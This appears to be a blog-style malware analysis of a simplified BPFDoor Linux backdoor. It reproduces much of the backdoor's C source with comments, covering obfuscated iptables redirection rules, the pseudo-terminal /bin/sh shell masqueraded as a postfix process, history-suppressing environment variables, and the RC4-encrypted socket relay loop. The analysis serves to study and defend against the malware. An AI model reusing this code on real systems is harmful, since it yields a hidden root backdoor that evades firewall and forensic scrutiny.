BPFDoor is a malware designed to monitor network traffics on (Linux-based) target machine for APT attacks. In this article, I aim to understand how the malware effectively hides itself while achieving a shell using a naive version of BPFDoor malware. Note that there are a lot of variant versions.
┌────────────────────┐
│ Attacker │
│ (Remote system) │
└────────┬───────────┘
│
│ [1] Exploits system vulnerability
▼
┌─────────────────────────────┐
│ Victim Linux Machine │
│ (Gains root via exploit) │
└────────────┬────────────────┘
│
│ [2] Writes BPFDoor to /dev/shm/kdmtmpflush
▼
┌────────────────────┐
│ BPFDoor binary │
│ (Runs as root) │
└────────┬───────────┘
│
│ [3] Opens raw PF_PACKET socket
│ [4] Installs BPF filter to capture magic packet
▼
┌────────────────────────────────────┐
│ Packet sniffer (stealth mode) │
│ - Captures only specific │
│ TCP/UDP/ICMP packets │
└────────┬──────────────────────-────┘
│
│ [5] Attacker sends "magic packet"
▼
┌─────────────────────────────────────────────┐
│ Magic packet matched? │
│ If Yes → RC4 decrypt + passphrase check │
└────┬────────────────────────────────────────┘
│
│ [6] Forks child process
▼
┌───────────────────────────────────────┐
│ Reverse shell setup with pseudo-TTY │
│ - Uses /dev/ptmx, sets TTY flags │
│ - Launches /bin/sh shell │
└────────┬────────────────────────────-─┘
│
│ [7] Optional iptables redirection
▼
┌──────────────────────────────────────────────────────────────┐
│ Full interactive root shell via socket │
│ - Encrypted via RC4 │
│ - PTY ↔ socket data bridge (invisible, encrypted) │
└──────────────────────────────────────────────────────────────┘
At high-level, packet_loop() calls getshell() and getshell() calls shell() to obtain an interactive /bin/sh.
getshell() to make TCP connection for a reverse shellshell() to create a pseudoterminal, execute /bin/sh and relaying traffics between socket and a shell.
[ Attacker ] ← socket → [ BPFDoor ]
↓
[ master PTY ] ↔ [ slave PTY (/dev/pts/N) ]
↓
[ dup2 to stdin/out/err ]
↓
[ /bin/sh ]
getshell(char *ip, int fromport) analysis
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
char cmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char rcmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char inputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
char dinputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
The function prepares shell commands to modify iptables.
cmdfmt = /sbin/iptables -t nat -A PREROUTEING -p tcp -s <attacker ip> --dport <fromport> -j REDIRECT --to-ports <toport> adds a redirection rule on NAT table in PREROUTING chain so that it redirects attacker's traffics fromport to toport.rcmdfmt = /sbin/iptables -t nat -D PREROUTING -p tcp -s <attacker ip> --dport <fromport> -j REDIRECT --to-ports <toport> removes the rule added by cmdfmt. It will be executed later by shell() after a successful TCP connection.inputfmt = /sbin/iptables -I INPUT -p tcp -s <attacker ip> -j ACCEPT adds an allow rule in INPUT chain to prevent the firewall blocking TCP connection.dinputfmt = /sbin/iptables -D INPUT -p tcp -s <attacker ip> -j ACCEPT removes the rule added by inputfmt. This command is also executed later by shell() after a successful TCP connection.toport and connects to a visible/familiar port such as 443 (fromport) so that the connection looks normal. Better than directly binding to the hidden port (Not so visible by netstat and ss).
snprintf(cmd, sizeof(cmd), inputfmt, ip); // Construct cmd from inputfmt
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip); // Construct dcmd from dinputfmt
system(cmd); // Add allow rule to accept attacker's traffic
sleep(1); // Wait briefly for the rule to take effect
memset(cmd, 0, sizeof(cmd));
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport); // Construct cmd from cmdfmt
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport); // Construct rcmd from rcmdfmt
system(cmd); // Add redirection rule
sleep(1); // Wait briefly for the rule to take effect
sockfd = b(&toport); // Function 'b' assigns a random ephemeral port and returns a socket
if (sockfd == -1) return;
Details of the function b():
int b(int *p)
{
int port;
struct sockaddr_in my_addr;
int sock_fd;
int flag = 1;
if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
return -1;
}
setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
my_addr.sin_family = AF_INET;
my_addr.sin_addr.s_addr = 0;
for (port = 42391; port < 43391; port++) {
my_addr.sin_port = htons(port);
if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
continue;
}
if( listen(sock_fd,1) == 0 ) {
*p = port;
return sock_fd;
}
close(sock_fd);
}
return -1;
}
sock = w(sockfd); // Calls listen() + accept()
if (sock < 0) {
close(sock);
return;
}
Details of the function w():
int w(int sock)
{
socklen_t size;
struct sockaddr_in remote_addr;
int sock_id;
size = sizeof(struct sockaddr_in);
if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
return -1;
}
close(sock);
return sock_id;
}
shell(sock, rcmd, dcmd);
After a successful TCP connection, it calls shell() to launch pseudoterminal shell and removes firewall rules by passing rcmd and dcmd parameters. The details of shell() function is described below.
int open_tty()
{
char pts_name[20];
pty = ptym_open(pts_name);
tty = ptys_open(pty,pts_name);
if (pty >= 0 && tty >=0 )
return 1;
return 0;
}
Opens an interactive pseudoterminal to provide a remote shell to the attacker. Unlike a simple pipe, a PTY offers an interactive interface for job control.
int ptym_open(char *pts_name)
{
char *ptr;
int fd;
strcpy(pts_name,"/dev/ptmx");
if ((fd = open(pts_name,O_RDWR)) < 0) {
return -1;
} // Opening /dev/ptmx, it creates a PTM/PTS pair and gets a file descriptor for a PTM, and PTS device is created (/dev/pts/N).
if (grantpt(fd) < 0) {
close(fd);
return -2;
} // Grants access to PTS device.
if (unlockpt(fd) < 0) {
close(fd);
return -3;
} // Unlocks PTS device.
if ((ptr = ptsname(fd)) == NULL) {
close(fd);
return -4;
}
strcpy(pts_name,ptr); // Store PTS device path as pts_name for future use.
return fd;
}
int ptys_open(int fd,char *pts_name)
{
int fds;
if ((fds = open(pts_name,O_RDWR)) < 0) {
close(fd);
return -5;
} // Opening PTS device.
if (ioctl(fds,I_PUSH,"ptem") < 0) {
return fds;
} // Push ptem(pseudoterminal emulation module) to PTS.
if (ioctl(fds,I_PUSH,"ldterm") < 0) {
return fds;
} // Push ldterm(line discipline module) to PTS.
if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
return fds;
} // Push ttcompat to PTS to provide compatibility with BSD-based terminal.
return fds;
}
● shell(int sock, char *rcmd, char *dcmd) function analysis
subshell = fork(); // Create a childe process.
if (subshell == 0) {
close(pty); // Close the master pty. (Not needed since it only deals with I/O).
ioctl(tty, TIOCSCTTY); // Make the slave pty as a controlling terminal. Now it can transmit signals (e.g. SIGINT, SINTERM, SIGSTP, etc.)
close(sock); // No need for a child process to have sock opened.
dup2(tty, 0); // Set PTS to stdin
dup2(tty, 1); // Set PTS to stdout
dup2(tty, 2);// Set PTS to stderr
close(tty); // Not needed since PTS fd is copied to std I/O fds.
execve(sh, argvv, envp);
}
execve() runs the shell (/bin/sh) with its stdio attached to the PTS. The details of sh, argvv and envp are given below:
char argx[] = {
0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
char *argvv[] = {argx, NULL, NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
char ps[] = {
0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
char histfile[] = {
0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
char mshist[] = {
0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
char ipath[] = {
0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
char term[] = "vt100";
envp[0] = home;
envp[1] = ps;
envp[2] = histfile;
envp[3] = mshist;
envp[4] = ipath;
envp[5] = term;
envp[6] = NULL;
We note that shell's argv is set to qmgr -l -t fifo -u which is a process associated with mail(postfix) daemon. Moreover, the environment variables are set in a way that it effectively fakes the victim.
HOME=/tmp: Set HOME to /tmpPS1=[\u@\h \W]\\$: Fake shell promptHISTFILE=/dev/null: Prevent shell history loggingMYSQL_HISTFILE=/dev/null: Prevent mysql command loggingPATH=/bin:/usr/kerberos/sbin:...: Define controlled binary search pathvt100(TERM): Set TERM variable if (rcmd != NULL)
system(rcmd);
if (dcmd != NULL)
system(dcmd);
Executes commands rcmd and dcmd - inputs as shell() parameters.
rcmd: /sbin/iptables -t nat -D PREROUTING -p tcp -s <ip> --dport <fromport> -j REDIRECT --to-ports <toport>dcmd: /sbin/iptables -D INPUT -p tcp -s <ip> -j ACCEPTgetshell() and no suspicious rules can be found by iptables -L. w(sockfd)) during getshell() call.
while (1) {
FD_ZERO(&fds); // Clears the set of fds for select()
FD_SET(pty, &fds); // To monitor PTM (shell's I/O stream)
FD_SET(sock, &fds); // To monitor attacker's socket
if (select((pty > sock) ? (pty+1) : (sock+1),
&fds, NULL, NULL, NULL) < 0)
{
break;
} // Wait for I/O Activity (until either PTM or socket becomes readable); break on error
if (FD_ISSET(pty, &fds)) {
int count;
count = read(pty, buf, BUF);
if (count <= 0) break;
if (cwrite(sock, buf, count) <= 0) break; // Also considers ==0 for shell closed
} // Once PTM is readable, read bytes(count) from the shell’s output
// cwrite() encrypt the data with RC4
if (FD_ISSET(sock, &fds)) {
int count;
unsigned char *p, *d;
d = (unsigned char *)buf;
count = cread(sock, buf, BUF);
if (count <= 0) break;
// cread() read data (encrypted RC4) from an attacker
p = memchr(buf, ECHAR, count);
// Finds ECHAR(0x0b), a vertical tab from attacker’s input
// ECHAR acts as a signal marker
if (p) {
// Resize terminal
// Terminal size arguments are given by 4 bytes after ECHAR
unsigned char wb[5];
int rlen = count - ((long) p - (long) buf);
struct winsize ws;
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
ret = cread(sock, &wb[rlen], 5 - rlen);
}
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
// Write to PTM an attacker’s input before and after(+5 bytes) ECHAR
// Allows an attacker to send resize info with commands in one stream
ret = write(pty, buf, (long) p - (long) buf);
rlen = ((long) buf + count) - ((long)p+5);
if (rlen > 0) ret = write(pty, p+5, rlen);
} else
if (write(pty, d, count) <= 0) break;
}
}
We note that if any side of connection closes, it closes descriptors, kills subshell and calls vhangup() to remove terminal association as noted in the part of shell() function:
close(sock);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);